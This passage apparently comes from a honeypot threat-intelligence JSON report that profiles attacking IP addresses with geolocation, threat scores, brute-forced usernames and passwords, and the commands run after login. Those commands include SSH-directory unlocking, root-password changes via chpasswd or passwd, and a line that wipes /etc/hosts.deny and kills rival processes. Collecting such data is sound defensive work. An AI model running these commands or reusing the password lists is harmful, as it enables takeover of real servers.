        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1wEDiq4IRXmz\"|chpasswd|bash",
        "echo \"root:rtTgVQlMY5BP\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:47:34.541000+00:00",
        "last_seen_30d": "2026-05-17T09:20:19.388000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "190.181.4.12": {
      "attack_count": 217,
      "first_seen": "2026-05-05T20:04:48.269Z",
      "last_seen": "2026-05-05T20:34:03.577Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "ansible",
        "demouser",
        "myuser",
        "test_user",
        "user",
        "user123"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "1Q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "777888",
        "A@12345678",
        "Am@123456",
        "Mustafa@786",
        "P@ssword",
        "Password@123",
        "Qwer1234",
        "Qwerty123",
        "Radore123",
        "abc123##",
        "admin2025.",
        "admin_2024",
        "cc123456",
        "demouser",
        "india@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Qwerty123\\nkzKKl4CybPGQ\\nkzKKl4CybPGQ\\n\"|passwd",
        "echo -e \"Qwerty123\\nkzKKl4CybPGQ\\nkzKKl4CybPGQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:04:48.269000+00:00",
        "last_seen_30d": "2026-05-05T20:35:06.984000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 69
      }
    },
    "187.51.208.158": {
      "attack_count": 213,
      "first_seen": "2026-05-21T22:00:13.568Z",
      "last_seen": "2026-05-21T23:01:45.374Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "copia",
        "monitor",
        "admin",
        "crm",
        "sftp",
        "steve",
        "teamcity",
        "test1234"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "09N1RCa1Hs31",
        "12345",
        "123456",
        "123@123aA",
        "Admin123789",
        "QazWsx123",
        "admin123456",
        "copia",
        "crm",
        "lucas123",
        "qq123456",
        "steve123",
        "teamcity",
        "test1234",
        "www.123.com"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nwTlyhdXjTBS2\\nwTlyhdXjTBS2\\n\"|passwd",
        "echo \"copia\\njnvyhvxwk0EC\\njnvyhvxwk0EC\\n\"|passwd",
        "echo -e \"12345\\nwTlyhdXjTBS2\\nwTlyhdXjTBS2\"|passwd|bash",
        "echo -e \"copia\\njnvyhvxwk0EC\\njnvyhvxwk0EC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mogi Mirim",
      "asn": 10429,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:00:13.568000+00:00",
        "last_seen_30d": "2026-05-21T23:02:54.184000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "103.250.10.21": {
      "attack_count": 207,
      "first_seen": "2026-05-05T08:15:19.074Z",
      "last_seen": "2026-05-05T08:50:30.905Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "alex",
        "ftp",
        "steam",
        "testftp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!QAZ2wsx0okm",
        "12345678",
        "12345admin",
        "123qwe1",
        "25802580",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345@",
        "Admin110",
        "Gj123456",
        "Passw0rd",
        "Passw0rd!",
        "Q!W@E#R$q1w2e3r4",
        "Qaz.123456",
        "Zxcasd123",
        "abc1234@",
        "asd123",
        "dc@123456",
        "ddd123",
        "mima123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ee434aw4AAvd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:15:19.074000+00:00",
        "last_seen_30d": "2026-05-05T08:51:40.692000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 67
      }
    },
    "123.185.159.203": {
      "attack_count": 182,
      "first_seen": "2026-05-20T18:28:38.784Z",
      "last_seen": "2026-05-21T05:08:43.541Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 275,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:38.784000+00:00",
        "last_seen_30d": "2026-05-21T05:09:45.826000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 93
      }
    },
    "43.156.136.152": {
      "attack_count": 174,
      "first_seen": "2026-05-21T01:52:47.049Z",
      "last_seen": "2026-05-21T02:25:08.197Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "staging",
        "345gs5662d34",
        "beifen",
        "du",
        "lu",
        "postfix",
        "qiu",
        "weixin",
        "xia",
        "xie",
        "zhuce"
      ],
      "passwords_attempted": [
        "123456",
        "19870101",
        "3245gs5662d34",
        "345gs5662d34",
        "900701",
        "963852741",
        "Dd112211",
        "Mar2024",
        "backup",
        "jiansan",
        "kali",
        "password",
        "postfix",
        "princess",
        "qiu123",
        "register",
        "root#",
        "woaiqq",
        "xie123",
        "zxcv1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nqQudo69S7lcW\\nqQudo69S7lcW\\n\"|passwd",
        "echo -e \"123456\\nqQudo69S7lcW\\nqQudo69S7lcW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:52:47.049000+00:00",
        "last_seen_30d": "2026-05-21T02:26:11.898000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 52
      }
    },
    "43.134.52.155": {
      "attack_count": 169,
      "first_seen": "2026-05-17T14:47:25.074Z",
      "last_seen": "2026-05-17T15:17:16.681Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "gmodserver",
        "345gs5662d34",
        "boss",
        "himanshu",
        "holu",
        "iksi",
        "novinhost",
        "oracle",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12344",
        "123456aA",
        "135790135790",
        "1qazCDE#",
        "312",
        "3245gs5662d34",
        "345gs5662d34",
        "AAbb1234",
        "Aa147258!",
        "Root@123",
        "Sy123456",
        "Zk123456.",
        "boss",
        "gmod",
        "himanshu",
        "holu",
        "novinhost.org",
        "p@$$w0rd",
        "qazxswedc123",
        "root123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gmod\\nwWyUi5wUzDEP\\nwWyUi5wUzDEP\\n\"|passwd",
        "echo -e \"gmod\\nwWyUi5wUzDEP\\nwWyUi5wUzDEP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:47:25.074000+00:00",
        "last_seen_30d": "2026-05-17T15:18:24.896000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 50
      }
    },
    "209.38.69.153": {
      "attack_count": 168,
      "first_seen": "2026-05-18T17:07:53.089Z",
      "last_seen": "2026-05-18T17:35:15.479Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0r@cle",
        "1973",
        "3245gs5662d34",
        "345gs5662d34",
        "Password00",
        "Welcome@2023",
        "arquiteto",
        "arthur",
        "bobby",
        "centos1234",
        "cool",
        "gsxr600",
        "handel",
        "kbe",
        "keyboard",
        "malinka",
        "manager123",
        "mingus",
        "qwe147258369",
        "signature"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UFoix1SqyDlZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:07:53.089000+00:00",
        "last_seen_30d": "2026-05-18T17:36:18.863000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "175.9.23.79": {
      "attack_count": 162,
      "first_seen": "2026-05-18T21:52:52.156Z",
      "last_seen": "2026-05-19T06:13:54.589Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:52:52.156000+00:00",
        "last_seen_30d": "2026-05-19T06:14:56.322000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 84
      }
    },
    "132.255.40.242": {
      "attack_count": 152,
      "first_seen": "2026-05-19T06:52:34.121Z",
      "last_seen": "2026-05-19T16:47:07.732Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 61908,
      "as_org": "Nova Net Telecomunicacoes Ltda",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:52:34.121000+00:00",
        "last_seen_30d": "2026-05-19T16:48:09.768000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 76
      }
    },
    "123.21.26.166": {
      "attack_count": 149,
      "first_seen": "2026-05-29T10:10:50.925Z",
      "last_seen": "2026-05-29T10:41:39.734Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "hari",
        "345gs5662d34",
        "admin",
        "admin123",
        "deploy",
        "hp",
        "pgadmin",
        "postgres",
        "qbtuser",
        "saeed",
        "simone"
      ],
      "passwords_attempted": [
        "111111Aa",
        "1234567890",
        "131313",
        "3245gs5662d34",
        "345gs5662d34",
        "A@123456",
        "Aa147258+",
        "Admin123456",
        "Qwertyui1",
        "admin",
        "deploy@2022",
        "fjbdfdjkdsfs541544",
        "hari123",
        "hp",
        "pgadmin",
        "qbtuser",
        "saeed123",
        "simone"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"hari123\\nbOFBzDYg5m2B\\nbOFBzDYg5m2B\\n\"|passwd",
        "echo -e \"hari123\\nbOFBzDYg5m2B\\nbOFBzDYg5m2B\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T10:10:50.925000+00:00",
        "last_seen_30d": "2026-05-29T10:42:40.979000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "42.200.66.164": {
      "attack_count": 143,
      "first_seen": "2026-05-23T18:16:58.111Z",
      "last_seen": "2026-05-23T19:05:45.232Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "depot",
        "dima",
        "hqadmin",
        "newuser",
        "steam",
        "teamspeak",
        "testuser",
        "user1"
      ],
      "passwords_attempted": [
        "11111111",
        "123!@#qweQWE",
        "123123123",
        "123asdQWE",
        "3245gs5662d34",
        "345gs5662d34",
        "90-=op[]",
        "Asd@1234",
        "abc123==",
        "depot",
        "dima1234",
        "hqadmin",
        "kk112233",
        "newuser",
        "qwe123",
        "qwe123456!",
        "qwerty123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:4LrB8lirgqaO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:16:58.111000+00:00",
        "last_seen_30d": "2026-05-23T19:06:50.726000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "89.45.12.110": {
      "attack_count": 142,
      "first_seen": "2026-05-05T03:51:48.107Z",
      "last_seen": "2026-05-31T21:29:43.910Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.3,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:51:48.107000+00:00",
        "last_seen_30d": "2026-05-31T21:30:45.388000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 72
      }
    },
    "198.199.106.159": {
      "attack_count": 138,
      "first_seen": "2026-05-08T02:59:05.414Z",
      "last_seen": "2026-05-31T10:20:18.508Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:59:05.414000+00:00",
        "last_seen_30d": "2026-05-31T10:21:27.925000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "41.60.251.39": {
      "attack_count": 126,
      "first_seen": "2026-05-18T22:09:10.957Z",
      "last_seen": "2026-05-19T06:21:36.754Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:09:10.957000+00:00",
        "last_seen_30d": "2026-05-19T06:22:43.025000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 64
      }
    },
    "23.81.36.246": {
      "attack_count": 121,
      "first_seen": "2026-05-26T19:59:57.953Z",
      "last_seen": "2026-05-26T20:24:53.002Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "ubuntu",
        "azureuser",
        "guilherme",
        "ismail",
        "jenkins",
        "nextcloud",
        "sam",
        "shivam",
        "user7"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456Ww",
        "123456a@",
        "1qaz!QAZ2wsx@WSX",
        "CDE#4rfv",
        "Hl123456.",
        "P@ssw0rd@123",
        "Voidsetdownload.so",
        "azureuser@1234",
        "fjbdfdjkdsfs541544AA@@",
